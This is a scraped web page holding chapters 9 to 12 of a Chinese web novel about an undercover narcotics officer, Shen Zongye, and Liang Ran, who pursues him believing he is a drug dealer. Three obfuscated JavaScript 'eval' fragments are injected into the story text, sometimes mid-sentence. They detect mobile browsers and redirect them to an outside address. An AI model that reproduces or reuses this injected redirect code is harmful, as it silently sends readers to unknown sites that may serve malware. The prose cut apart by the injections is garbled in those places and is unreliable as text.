他冷漠的视线穿透车厢昏黄的灯光落在梁然眼中,时间在无声搅动。终于,梁然眨了下眼,以一种很是落寞的情绪。那股惧意没有在她心脏停留太久,她知道踏上这一步,她就必须要面对好这些。她抬起眼黯然地迎着沈宗野的视线,她的转变应该流利又自然。 “沈宗野,我没得罪你吧。”她声音很轻。 也许沈宗野也意识到他的态度过于失常,冰冷的视线从梁然身上挪开。 他握着方向盘,断掉的那半根拇指有意无意地刮向方向盘皮套,却又不是那么灵活,让一双原本好看的手显得迟钝又笨拙。 梁然本来就生得很漂亮,漂亮的美女难过,再坏的人看见也会有那么一丢丢的怜悯。 梁然解开了安全带,声音有些失落:“我不是缠着你,我是真的很想谢你一回。” “我不需要,你下车吧。”沈宗野打开了中控门锁。 梁然望着他,格外地认真:“我下车是可以,可我能不能明明白白跟你说下我的想法,可以吗?” “沈宗野,我想和你多了解一下彼此。我想我应该是有点喜欢你……” 她就这样望着沈宗野的侧脸,他转过头来看她,梁然坦然而紧张地迎上他视线。 他好像并没有那么意外,但也没有高兴被她这么好看的美女喜欢,他的眼神甚至有一种异于寻常的冷静,梁然读不懂这种情绪。 她维系着微微仰头的姿势,安静地看沈宗野,光影落在她眼底,明媚又干净。 沈宗野居然扯起薄唇轻笑了下。 梁然虽然气愤他这种轻视,但也不觉得奇怪。这个人已经罪大恶极了,他再离谱又有什么好意外,本来他就不是个正常人。 沈宗野勾起薄唇:“我不觉得意外,但我对你这种没感觉。”他的眼神犀利、赤裸,从她的脸扫向脖子,玩味垂眸,又一路停在她起伏的胸口:“我喜欢G。” 梁然没再控制住自己,火窜到了眼睛里。 她身材哪里不好? 她腰很细腿很长,而且她也不小啊! 沈宗野抽出一支烟,也不再顾及她闻不闻得烟味,直接在车厢里点燃,轻笑着朝她这边吐出口烟雾。 他的形象突然就与这两次的接触完全不一样了,他此刻好像再也不掩饰低级的趣味。 梁然瞪着他。 沈宗野见她被惹恼,薄唇边的笑反倒越肆意。 一口烟雾从他唇齿吐出,浓烈的烟草气扑向梁然。他戏谑的笑带着捉弄,双眼饶有兴致地扫向梁然,从脸到腿,像在探究她除了没有G外还有什么亮点,一种剥透的男凝视线毫不遮掩。 梁然脸颊火辣辣地烫起来。 10. 第 10 章 接近沈宗野,梁然便想好了更坏的地步,她觉得一切她都可以接受。 这一刻明明只是一个眼神,她却好像压抑不住地憎恨和暴怒。 沈宗野像一头兽,幽深的眼睛充满了原始的野性与攻击。他英俊的脸在这片烟雾背后嚣张而败坏,梁然竟然鬼使神差地想知道他贩毒能赚多少钱。他就没想过用他这张脸轻轻松松赚点钱吗?所以贩毒给他们这种人的利益到底大到何种程度? 沈宗野依旧笑着,薄唇带起肆意的弧度,狭小的车厢好像他主宰的领地。 梁然几乎想现在就打110让警察来抓他。 “沈宗野……” “你玩过几个人的?”他呵出口烟打断梁然。 “什么意思?” “我叫几个人,一起玩啊。” 梁然心口咯噔了一下,脸都白了。 沈宗野略昂下颌,微垂眼帘睨着梁然,一边吞咽着一口烟,滚动的喉结吐纳出烟雾。 梁然猛地打开车门冲下了车。 夜晚的风从没有关上的车门灌进车厢里。 沈宗野脸上的笑荡然无存,淡淡地抽完了这支烟,将烟蒂摁灭。 他探身去关副驾驶的车门,涌动的晚风忽然扑面而来,带着那股清冷的香水味。 梁然重新闯进了他视线里。 一切猝不及防。 她站在车门外,望着来不及收起意外的他,重新坐到了驾驶座上。 “沈宗野,我觉得你不是那种人,送我到酒店的两次你都很有风度。” 说完这句,梁然竟然关上了车门。 沈宗野完全没料到她会回来,但他的反应很快,转变很完美。 他冷笑了下:“我对你没兴趣,下车。” “你把我好友申请通过。”梁然坐在座位上不动。 沈宗野冷冷睨着她。 梁然迎上他的眼睛。 冲动下车的那片刻,是晚风吹醒了梁然。 她明明已经努力了这么久,她明明遇到了沈宗野两回。陌生的两个人能偶遇两回,她信这是老天在帮她。 她怎么肯放弃。 梁然就这样望着沈宗野,毫无退意。 她的眼睛是漂亮的桃花眼,瞳孔清晰又明亮。 沈宗野甚至迎着这双眼睛几秒才反应过来他们隔着很近很近的距离,近到她红唇吐出的呼吸都扫到了他下颔,潮湿又滚烫的气息太过清晰。 沈宗野探回身体,知道梁然不达目的不会罢休,拿出了手机。 他打开微信,梁然发来好友申请那天就被他删掉了。 他隐忍着不耐说:“手机号。” 梁然报出数字。 沈宗野逐字输入搜索,一张蓝白图纸的头像出现在屏幕上,梁然的微信名字是串英文。他利落地发送完好友申请摁灭屏幕。 梁然马上就点了通过,笑着挥了挥手机:“不许删哦。” 沈宗野:“你可以下车了。” “你刚刚说叫几个人一起玩,是喝酒的意思吗?”梁然问。 沈宗野紧抿着薄唇,微突的眉弓像压着风雨欲来的暗夜。 梁然闭了嘴,不再去激他,打开车门下了车。反正她加上他的微信了。 她站在路边朝车子挥手喊“再见”。 沈宗野调转车头,走得干脆利落。 车子很快消失在夜色尽头,梁然收回视线,涌过的晚风吹动她裙摆,她很愉快地笑了起来。 她打开手机拍下一张自拍,编辑了一段文字发到朋友圈。 「第一次感受到宁城的晚风这样温柔」 这条朋友圈仅沈宗野可见。 梁然点进沈宗野的朋友圈,一条动态也没有,倒也不算太意外。 回到酒店,她给沈宗野发去消息。 Zaha:「沈宗野,认识你很高兴」 梁然发送完就去洗澡了,没打算能等到沈宗野的回复,只要这个人没有删除她就行。 …… 这条消息沈宗野在回公寓时看到了。 他扫了一眼,将手机放到卧室,找出件T恤走去浴室。 谢天明从次卧出来,坐到客厅沙发上,一边拆开一袋零食,一边笑他:“解决了?” 沈宗野关上浴室的门:“如果她再去「云上人间」那个地方,你想办法让她走。” “她还真缠上你了?” 浴室里只有哗啦的水流声,沈宗野在洗澡。 谢天明笑:“我知道了。你也别担心,又不是第一次遇到这种情况,处理这种我最拿手!” 谢天明处理这种事也不是头一回,跟沈宗野搭档几次,几次都帮沈宗野解决了这种问题。 每次遇到有女生跟沈宗野表现出这种想法,谢天明都直接拍沈宗野肩膀说“姐夫你干嘛呢,我姐叫你过去给宝儿换尿不湿”,这话说完,女生们都会遗憾又尴尬地转身走。 浴室里充斥着水蒸气。 水珠从沈宗野的眉弓滚落到鼻梁,他宽大的手掌扯过毛巾擦掉满头的水汽,扫了眼镜子,那只抹掉鼻梁水珠的手掌失去半根拇指,还是有些遗憾。 他的左手没法开枪了,至少现在恢复得还不够灵敏。 套上灰色T恤,沈宗野开门出来。 谢天明撕开一袋新的薯片:“来吃点。” “刷牙了。” “刷牙不能吃啊。” 沈宗野坐过去,接过谢天明递来的薯片,是种贵州的小零食。谢天明去贵州时在那爱上的,回了南城网购了很多到办公室,跟着他来宁城又网购了很多到公寓。 沈宗野吃着薯片,香脆又带着麻辣的味道。 谢天明插上一瓶AD钙奶给他,沈宗野没接,谢天明送进了自己嘴里。 沈宗野问:“那边怎么说?” “云肖半个小时前给我回的电话,滇江的路车不好走,都不开饭了。” 黑话大家都懂。 沈宗野意味深长望向落地窗外,暗夜铺在他漆黑的眼底:“那尊观音像早点找到。”他放下薯片起身回浴室重新刷牙。 茶几上的薯片也就只吃了几片,谢天明一边吐槽沈宗野浪费,一边拿过来自己吃。 沈宗野回到卧室,换了张卡插到手机里。 谢天明通过房门看到,很熟练地放下薯片和手上的AD钙奶,起身打开房门检查了下过道,关上门认真守在门后。 沈宗野在房间里讲了一个电话,电话的那一头是广省委派的一个厅长,也是负责南城这项专案的最上级,他的直线联络人。 沈宗野的真名不叫这个。 他是在扮演一个毒贩。 他经营着一家半死不活的颜料网店。 手底下有五个小弟,其中的云肖和李浩还是背着命案的狠手。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14925273|160467||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 他是一名缉毒警察。 他的缉毒工作只有三年,可禁毒两个字从他出生便开始伴随。这是他从警的第三年,可他的警号却已经启用十七年了,背负着两代人的使命。 讲完电话,沈宗野取出了卡。 谢天明也是一名缉毒警察,是队里派给沈宗野的搭档。 沈宗野结束了通话,谢天明才回到茶几前拿起没喝完的AD钙奶送到嘴边,朝沈宗野竖起食指比出一个勾的手势。这个手势是谢天明喜欢的,表示安全顺利,沈宗野看得懂,他们已经默契地搭档过好几回。 谢天明哼着歌回房间继续吃零食。 沈宗野关上了房门。 他打开微信,云肖给他发了些观音像的消息。 还有最上面那条梁然的未读。 他刚才就看见了,但不想回复。 他点开消息。 Zaha:「沈宗野,认识你很高兴」 这是他破例加的第一个陌生异性。 他实在是不希望她再去「云上人间」那个地方,云肖那帮人太狠了,他没必要把不相干的人牵扯进来。 沈宗野没有回复这条信息。 梁然的头像是一张蓝白色的图纸,画的是一座螺旋形大楼,她好像是学艺术的。 沈宗野点开她的朋友圈。 最新一条动态就在一个小时前。 「第一次感受到宁城的晚风这样温柔」 配图是她的自拍。 沈宗野点开照片。 梁然有一双很漂亮的眼睛,微勾的眼角和上扬的眼尾像自带一股甜美的笑,偏偏第一次在药房遇见时她太过清冷死寂。 是的,沈宗野记得那一面,那就是一种死气沉沉的寂静。 总和照片里的她不太符。 那天的雨很大,他记不住她那天穿的什么颜色的衣服,记不得她买的什么药,只记得那双清冷的眼睛,还有她身上那股游离在世界之外的清冷感。 照片里的梁然笑得很明媚,一半的黑发被晚风吹起,路灯的光像偏爱的滤镜,放大了这张脸的美貌。 沈宗野往下滑动,左手拇指不是太灵活,生活里他都有意训练这只手。 梁然的上一条动态定位也是宁城,图片是一张透过落地窗拍摄的马路与高楼,夜色浓,玻璃窗上蒙着依稀的水珠,看起来像他第一次送她去的那家酒店对面的场景。 配文是「下雨的时候以为是在怀城」。 宁城不常下雨。 沈宗野在这里生长,当然知道。 往下刷不到别的动态了,梁然的动态只可见一个月。 沈宗野望着她的头像与名字,Zaha这个名字好像很熟悉。 哦,他记得了。 好像是哪国一个杰出的女建筑师,现在在建的北京新机场就是她的设计。 梁然也是一名建筑师? 沈宗野删除了这个会话,摁灭手机睡过去。 第二天一早,梁然的头像又冒出小红点。 Zaha:「好心人,早呀~」 沈宗野没点进去,直接右滑按了删除。 这是2017年的夏天,宁城的夏季没有那么燥热,空气里微微翻涌的热浪是最适宜的温度。这也是沈宗野与梁然共同拥有的第一个夏天,原本没有交集的轨道从这里相遇。 他们的故事也从这里开始。 11. 第 11 章 很小的时候,梁然就在梁幸均的影响下喜欢上了画画。 她画过爬满花园的龙沙宝石,一簇簇拥挤的花朵很美。她坐在湖边的树荫下,画过穿着洛丽塔裙子的梁悦。她画过梦里的沈茹,笑容那样真,像没有离开他们的样子……她的画拿过不少的奖。 后来报考建筑设计,梁然去参加系里的比赛,她以为设计跟画画没什么不同,但不够精通的结构力学,不爱碰的流体力学让她没有拿到预想中的第一名。 疯狂补学专业课的那段时间,梁然不甘落后给别人,也不想输给自己,没日没夜地恶补,终于在17岁拿下一个第一名。 梁然不怕困难,梁幸均说她性格像她妈妈,有一种认定的倔。 没有收到沈宗野的微信回复,梁然也不算太意外。梁幸均的死是她最难的打击,她都已经承受了这种痛苦,又怎么可能这么轻易放弃。 她再次去了「云上人间」。 沈宗野不在,上次见到的云肖等人在一间房里打麻将,还是梁然去问前台知道的。 云肖他们见到梁然倒是和上次一样热情,大鱼主动把座位让给梁然,问她打不打牌。 云肖指挥李浩:“给明哥打电话。” 李浩拨通谢天明的号码,笑着说:“哥,咱嫂子过来了。” 梁然就坐在牌桌上,笑着问:“沈宗野交代的?” “对,宗哥交代明哥,要是嫂子来了一定要第一时间打电话。”云肖说看来沈宗野很重视嫂子。 他是精瘦的长相,恭维带笑的时候让人觉得几分精明奸滑。云肖夸着梁然跟从前接近沈宗野的女人都不一样,她比所有人都漂亮。 李浩还讲着电话,好像听到什么离谱的消息,脸上的笑没绷住,僵硬地看向梁然。在梁然发现时他忙移开脸,低头对云肖耳语。 云肖的笑也变得十分难看了,揣度地看梁然几眼,那眼神好像也没有刚才恭维。 他起身说:“那什么,大鱼你好好陪嫂子,我们出去办点事。” “嫂子你今晚在这边吃饭吧?” 梁然“嗯”一声。 云肖笑:“宗哥交代点事,我们先去。” 房间里就剩下梁然和那个叫大鱼的青年。 大鱼二十岁,穿着件白T恤,一米七几高,有些清瘦,是这一群看起来脾气暴躁的人里唯一一个秀气些的,也像是这一群人里总被安排的那个。 梁然问:“沈宗野今晚在这边?” 大鱼回:“宗哥应该会来,刚肖哥不是问嫂子是不是在这边吃饭吗,宗哥肯定也在这里吃饭才让肖哥去安排了,他经常来这边。” 交谈起来,梁然才发现大鱼说话有些结巴,倒是在认真地回答她的问题。 她又问:“他跟这里的老板很熟?” 大鱼也没瞒着梁然,想了下点头:“我们经常来光顾会所的生意,咱不能得罪了董、董叔。” 梁然微微一笑:“那我再充点钱。” 大鱼问梁然要充多少,开始聊起充值送的优惠,说起这里哪道菜好吃,哪个按摩师技法好…… 梁然跟他聊着,知道了大鱼是冬天跟的沈宗野,知道沈宗野喜欢他做的菜,知道他们和沈宗野住一个小区,沈宗野跟谢天明住一起,他们几个则住旁边的单元,每天大鱼都会把做好的饭菜送到沈宗野那。 “你最拿手的是哪道菜啊?” “自贡冷吃兔!我做兔子是一绝!” “我也爱吃自贡菜,我爱吃那边的豆花,但我没吃过你说的兔子。” “这简单,嫂子想吃我随时给你做。” 梁然托着下巴,卷翘的眼睫下是一双微笑又期待的眼睛,这么看着大鱼,没多久就问到了他们的住址,大鱼都把门禁卡从钥匙上摘下来给她一张。 沈宗野在七点的时候来了会所。 梁然和大鱼在包房里打扑克,李浩推门来叫他们过去吃饭,看向梁然时,那眼神似乎有点看好戏的意味,也不像最初那样恭维了。 因为他接到的电话是谢天明交代他和云肖去找几个漂亮的小姐,今晚帮沈宗野开个大一点的套房过夜。 梁然进到一间K歌房里。 蓝紫相缠的灯光闪烁刺眼,音乐节奏激快又吵闹,沙发上坐满了一排人。 梁然看不真切。 但她知道沈宗野就在那里。 灯光快速地掠过一张张面孔,闪烁和黑暗交替,谁是谁都看不清。 吵闹的音乐声,饭菜香混合着烈酒,几个小弟那难闻的烟味……这一切对于梁然都是崭新而陌生的。 她打开了灯。 蓝紫妖光瞬间消失,白光彻底照亮包房,谁也没料到梁然会突然开灯打破氛围,云肖几个人都愣了。 沈宗野就坐在沙发上,他左右坐了五六个女人,裙子紧身又暴露,露出白皙的腿,个个画着浓妆。 沈宗野那样安然地坐在她们中间,在女人微愣的片刻,他眯眼睨了梁然一眼,很快就收回视线,抽出一支烟跟身边的女人说话,任那双做着艳丽美甲的手为他点烟。 梁然走到他身前,只看着沈宗野,话却是对他左右两个女人说的:“让一下。” 两个人觑沈宗野,沈宗野很淡定地抽着烟,女人只能相互看看对方,没想得罪梁然,往旁边挪了挪。 梁然坐到沈宗野身旁。 “你什么意思?” 墙上的大屏播放着一首摇滚乐,领头的黑人在一群美女中间欢快嘶喊歌词。 沈宗野吸着烟,骨节匀称的手指弹了下烟灰,恣意的神态那样自然。他并没有马上回答梁然的问题,等音乐的高潮结束后他才似笑非笑地看梁然一眼,说:“你想问什么?” “我问你这些人是什么意思?” 沈宗野嗤笑一声,手掌落在身旁女人光滑的大腿上。 他那样自然,梁然只觉得那根断掉一节的拇指还是报应太小。 真是恶心啊。 沈宗野扯起薄唇笑了:“你这话问得有点意思,如果你不了解我,那就用眼睛好好看。”他的笑不达眼底,瞳孔只有一片冰冷的暗,“当然,我也不需要你了解。” 他扭头朝身边的女人说:“有点扫兴,看看你们哄人的本事。”他的手臂搭在女人肩上。 女人开始弯腰拔开红酒,拿来骰子,问沈宗野想要什么赌注。 沈宗野笑得很惬意,跟女人玩起摇骰子,他频频赢,女人输一次就解开上衣的一节绑带,直到女人按着松松垮垮的衣服娇嗔地说“要输光了”,他才叼着烟笑,说换一个。 又有人坐到他身边,接着跟他玩这个游戏。 梁然坐在沈宗野左边,灯光晃过这张挺立的侧脸,他唇角的恣意那么刺眼,一双漆黑的眼睛也这样肆无忌惮。 梁然盯着那根断掉一节的拇指,在昏暗旖旎的灯光下垂下眼,恨意如一场暴风雪,不管她是闭上眼睛还是睁开眼,这场暴风雪始终都无法降落,也无法平息。 云肖嘶吼着唱歌,李浩被那个输 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14925274|160467||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得直喝酒的女人逗笑,大鱼坐在角落里啃骨头,谢天明坐在靠门口的沙发上有一搭没一搭地看手机…… 满屋子乌烟瘴气…… 今天是2017年七月二十八号,梁然和陌生的一切打交道的一天,在这之前,她的世界从来都是干净又富丽。 她以为她能做得到。 在沈宗野吐出的烟草气卷向梁然时,梁然再也受不了,起身大步走出包房的门。 她径直冲向尽头的洗手间,撞到人也说不出一句抱歉,任被撞的男人骂她“有病”。 梁然望着洗手台的镜子,她此刻的样子实在太失败了。 说要报复的是她,可做不到低去尘埃里的也是她。 水流声急促,水珠乱溅着洗手台。 包房里都有卫生间,这里的洗手间根本没有人来,算是最安静的地方。 沈宗野就站在门外,平静的一双眼睛望着梁然的背影。 她撑着洗手台,不知道是不是在哭,镜子里的模样很崩溃,长发凌乱地遮着脸,他不太看得清镜子里的她是什么样子,水流声哗哗地响。 直到梁然抽出一张擦手的纸巾,对着镜子小心擦拭眼角。 沈宗野在她抬起头时转过了身,背靠着墙,取出手机打开前置摄像头,偏移的角度刚好能照到洗手间,也刚好看清梁然。 她正对着镜子擦眼角,眼睛有些红,还真是哭过了。 她从包里找出口红补着妆。 沈宗野摁灭手机屏幕,无声地走回包房。 他没把梁然这个小插曲看得太重,她看起来漂亮、知性,修养很好,是那种很有文化又清白的女人,就算真的是喜欢他,也不会接受今晚的他。 这种场合足够把她吓跑。 坐回包房,身边两个女人又缠上来,主动挨着沈宗野。 沈宗野淡淡抿了抿唇,接过一个人递来的酒。 光影摇摆,烈焰滚入喉咙,房门被推开,风轻轻带起一缕长发。 是梁然走进包房。 她连影子都太耀眼了,绚烂灯光里足够侵占沈宗野整片余光。 她弯腰问云肖话,云肖有点难办地看向沈宗野。 沈宗野听清楚了,是房卡。 梁然直接摸向云肖的裤兜,云肖不敢让她碰,连忙站起来,梁然便这样在云肖身上找到了房卡。是沈宗野交代他们订的顶楼大套房。 沈宗野目光极冷。 梁然走到他身前,不顾左右的女人,只笑吟吟地,居高临下地看他。 “不是喜欢多人运动吗。”她漂亮的眼睛数着这些女人,“……3、4、5,可以啊,你先在这玩儿,我去房间等你。” 沈宗野眼神冷得可怕,起身拽住梁然的手将她拉出房门。 他停在楼梯拐角,即便再冲动也依旧保持着表象的冷静。 他只是意外梁然会回来。 “梁然,你没觉得你已经打扰到我了?” “我不觉得。”梁然很无辜地看他:“今晚都是你安排的,我好像没对你做什么吧。” 蒙着灰尘的玻璃窗映上皎洁的月色,没有灯光的楼梯间,月光像唯一的战士闯入这片黑夜,照出黑处他们各自明亮的眼睛。 谁都没有说话,挤进窗口的晚风是这死寂里唯一的声音,卷起一段不见硝烟的啸鸣。 梁然手腕忽然一痛。 男性结实的胸膛撞到她,滚烫呼吸扑面而来,沈宗野抓着她手腕,直接将她塞进了电梯间。 12. 第 12 章 顶楼都是豪华的套房。 梁然被沈宗野强行带到门口,大脑处在戒备的状态,脑子里只有一个声音:他带她来房间干什么? 她真的把他激怒了? “开门。” 低沉的声音从头顶压开,沈宗野就站在她身后,几乎是将她押到了他的房间门口,他身上那股凌厉让她没有退路。 就在梁然拿起房卡的间隙,手被沈宗野覆住。 他的手掌满是滚烫的温度,残疾的拇指顶端带着丑陋的疤痕,按着她的手刷开房门,粗暴地将她往门里一推。 砰一声。 房门被沈宗野摔上。 他人在外面。 “爱待就在这儿待着。” 沈宗野丢下话离开了。 梁然没有开门去追,起伏的胸腔暴露了她的紧张。 刚才开门那一瞬间,他几乎将她整个人抵进胸膛,男性暴戾粗鲁的气息就在她耳后,几乎让她心跳停止。她承认她是害怕的。 梁然努力控制着起伏的呼吸,极力放松打量这间套房。 客厅的长桌上摆着红酒和一些食物,梁然环顾一圈,浴室的浴缸里放好了热水。她怔怔望着手腕上刚才被沈宗野抓红的印子出神。 她是厌恶他。 想到和这种人待得这么近她就会恶心。 但她还是做好了准备。 踏进这里她就想好了最烂的结局 当一个人失去了最珍贵的,便也没有什么好怕的了。 梁然在网上填了一份HIV阻断药申请,输入信息时手指都带着颤抖,又被她极力压制。 时间走得太缓慢。 屋子里太安静了,她把电视机打开。沈宗野还没有来,她又在床上刷了一个小时的手机,但门外的过道实在太安静了。 她忽然有种沈宗野不会再回来的直觉。 想起下午要到了大鱼的号码,梁然拨过去,但手机响完无人接听。 她穿上高跟鞋下了楼。 刚才乌烟瘴气的包房已经没人了,甚至已经被打扫得干干净净。 梁然叫住一个服务生,服务生说大概一个小时前云肖就结账走了。 梁然问:“他们是换地方了吗?” 服务生说不清楚。 “麻烦你告诉我一下,沈宗野沈先生你认识吧?我想知道他换到哪层楼去了,或者你有看到他们离开大楼吗?”梁然拿出手机说给服务生转小费。 服务生嘴上说着不好意思,身体却很诚实地打开了收款码,很礼貌地回答梁然:“沈先生我知道的,他去哪儿了我不清楚,但他是和身边的帅哥先走的,后面他的人结完账也往车库去了。” “他没带那些美女?” “是的,那些美女后面自己走了。”拿了梁然的小费,也许该说一些让她宽心的话,服务生说:“您是沈先生的女朋友吧,您可以放心,刚才他没带那些女人走。沈先生平时也很少这样,今晚好像是第一次带这么多女人来。” 梁然没摸清沈宗野的套路。 她没再回沈宗野顶楼的房间,直觉里沈宗野应该不会回来了,她打车回了酒店。 大鱼的手机一直到第二天都没有回复。 她发给沈宗野的微信当然也不可能收到回应。 梁然又来了几次「云上人间」。 沈宗野这几天都没来过这里,梁然跟前台都已经混熟了,中午人不多,前台晴晴和梁然聊起天。 “平时就算沈先生不来,他的几个员工也会过来玩,最近应该是在忙吧。” “诶,梁小姐,我觉得你很优秀,我看好你。”晴晴朝梁然比出打气的手势,她理所应当认为梁然在追求沈宗野,很喜欢沈宗野。 梁然笑了下:“我脸上是不是写着‘着急’两个字?” “完全没有!”晴晴摇头,看向梁然的眼神很明亮:“你真的好漂亮,我觉得你做什么都是应该的。沈先生虽然也很帅,但他眼神有点不好。如果是我被美女这样喜欢我都高兴死了。” “梁小姐,你加油哇,我们私底下都看好你!” 梁然抿起红唇,如果大家都觉得她很喜欢沈宗野,那她的一切行为就没什么破绽。 像沈宗野这种能判死刑的毒贩,怎么可能轻易相信一个突然冒出来的陌生人。 接近这样的人,她除了一见钟情没别的理由。 没打算再等下去,梁然和晴晴打了个招呼离开,去了车库。 她开的是甲方那边的车来,掉头时有三个人刚下车,从她车前走过,中间的那人很高。他穿过车头走向电梯间,偏头朝四周扫了眼,将没抽完的烟蒂扔到地上,随意一踩。 梁然没仔细盯着这群路人看,只是无意瞟了一眼,忽然觉得那人的侧脸有股熟悉,再想看清楚时,那人已经进了电梯间。 这不过是个小插曲,毕竟梁然也没看清楚对方的长相,她在宁省也没什么熟人,交际圈子里的更没有这种乱丢垃圾的朋友。 梁然直接将车开到沈宗野居住的小区。 前几天和大鱼打牌时她已经套到了话并拿到门禁卡,她只是不愿以这种死缠烂打的方式让沈宗野更讨厌她,现在几天都堵不到沈宗野,梁然才决心来试一试。 沈宗野住在4栋307,梁然乘坐电梯上了楼。 但她没有直接去敲门,而是停在电梯外。 她在想应该怎么才能让沈宗野不那么抵触她。 这绞尽脑汁的一两分钟,电梯在这一层停了,梁然往前给人让路,忽然听到一声迟疑的“嫂子”。 梁然回头,走出电梯的正是大鱼。 他看见梁然像见到鬼一样,猛地掉头钻回电梯。 梁然快速握住正合上的电梯门。 “沈宗野让你躲我的?” 大鱼笑得很尴尬。 “出来。” “嫂子,你别难为我了。” 梁然只盯着大鱼,他手上拎着两个保温袋,她想起大鱼说一直是他给沈宗野和谢天明送饭。 大鱼有些觑她的眼神。 梁然:“饭给我,我送。” “嫂子,不是我存心躲你,而是宗哥发话了,我是真没办法。” 两个人僵持起来。 大鱼知道躲不过,终于把饭递给梁然,跟她解释不是他这几天不接梁然电话,而是沈宗野发了狠话,不准人再跟她联系。 那晚梁然被沈宗野带走,沈宗野后面独自回来时脸色很差,跟他们发话“谁都别理她”,大家也不敢问原因。沈宗野没再和那些女人玩,让云肖把人送走,起身离开了包房。 大鱼跟在后面走,李浩低声说:“看宗哥是动真格,嫂……那大美女估计真把我们哥惹狠了?” 大鱼心里很不安,上车的时候就小声问沈宗野一句:“哥,你和嫂子是一时生气不?嘿嘿过几天就和好了是吧,毕竟她也有咱的门禁卡……” 沈宗野投来冰冷的眼神。 大鱼这才解释他给了梁然一张门禁卡。 后面的事就是梁然知道的了,大鱼直接把梁然拉黑了,没好意思跟梁然说他还被沈宗野狠狠骂了一顿。 ……… 现在是下午两点,沈宗野昨晚有事,早上才回来,补了一觉正好吃个早午饭。 他起床去阳台收衣服,衬衫上还残留着那晚包房里身旁两个女人的香水味,晾几天了竟然还没掉。沈宗野皱了皱眉,又挂回阳台。 他在衣柜里随便扯了件T恤换上。 谢天明在客厅刷手机,见他出来头也没抬:“大鱼刚打电话说饭好了,你先洗个脸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14925275|160467||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” “睡过劲了,不是很饿。”沈宗野问:“董自新那里怎么样?” “姓邬的搞不定董自新,老奸巨猾,你放心。” 沈宗野眼神深沉,并没有把对手看得太轻,他去了卫生间洗脸刷牙,说起昨晚在老万那里找的人:“守了一晚上,没守到,我今晚再去一趟。” “今晚换我去吧,你休息。” 房门外传来两声敲门声,是大鱼一贯的动静。 谢天明说在群里蹲消息,让沈宗野刷完牙自己去开门。 谢天明加了南城一个货主群,群里又有线上贩子蠢蠢欲动开始走货了。经过颜料厂打击案,南城那边的毒贩都消停不少,最近才敢活动。谢天明因为现在卧底的特殊身份才能进到这种群里,否则根本没法过验证。 他在蹲有效的信息,同步发给队里。 沈宗野去开门,透过猫眼看到大鱼的脑袋。 他打开房门,手习惯性探出去,把饭送过来的却是一双白皙的手。 一双纤细又漂亮的女人的手。 下一秒,梁然的脸探了出来,漂亮的眼睛里好像很委屈,又忍着这种难受,露出见到他很高兴的笑脸。 空气忽然冰冷。 沈宗野的眼神也冷下来,他一言不发,紧绷唇看着梁然微仰的脸,移开眼冷冷瞥向大鱼。 大鱼几乎用尽全力解释:“宗哥!我真不是故意的,你别生我气,嫂子说是来给你道歉的。” “李大宇。”沈宗野每个字都没有温度,“你给老子滚!” 谢天明听到不对赶紧过来,见到是梁然也愣了下,走出门直接揽过大鱼的肩膀将他带向步梯间。 梁然回头看了眼,那哪是搂,分明是一种挟持。很快,步梯间的门关上了,大鱼喊痛的声音接二连三传过来。 梁然没什么同情心。 她对毒贩没有同情。 她微微仰着脸望着比她高很多的沈宗野,用生怕打扰了他的微笑。 “对不起,沈宗野。我很冒味用这样的方式见到你,我承认这样确实挺没礼貌的。” 沈宗野一言不发盯着梁然,梁然是真的惹到他了,他的怒火积在眼里,那双眼睛阴鸷可怕。 梁然没有感受到窗外的烈日骄阳,只被眼前一座无情的雪山倾轧。 她举起手上的饭,连同拿出来的门禁卡:“这个还给你,你别生我气啊。” 沈宗野面无表情地接过,他周身迸发的冰冷让梁然想到一句话,杀人了。 对,就是杀人了。 如果能喊,她下意识就想喊出这句。 到这一步,她是真的触碰到了沈宗野的禁区。可她已经站在这里,别无退路。 “我警告你,不要骚扰我,下次再见到,我不会再客气。”沈宗野就要关门。 “沈宗野,你有没有坚持过一件事?”梁然紧紧扶住门,把话说完。 “就是你可能明明没看到多大的希望,但是也想努力坚持,想再继续努力一下,也许再坚持坚持你能看到那股希望了。你有吗?” “我有。怀城见到你那次,我其实对你的脸记得不是很清楚,我就记得把药塞进我袋子里的手,就记得你伞骨流下的水彩。我没想让你听我的故事,但那两道漂亮的颜色确实是我当时的世界里唯一的彩色。” “沈宗野,你可能不信一见钟情,但你不能让别人不信吧。” 沈宗野依旧冷漠地盯着她。 梁然说:“我说完了,对不起,用这种有点跟踪狂的姿态出现在你面前。那天晚上你叫了那么多女人,我其实挺难过的,可我还是觉得你跟别人不一样。”梁然鼓起勇气,以一个单纯无辜的人设。 “沈……” “滚。” 房门被沈宗野冷漠摔上。 13. 第 13 章 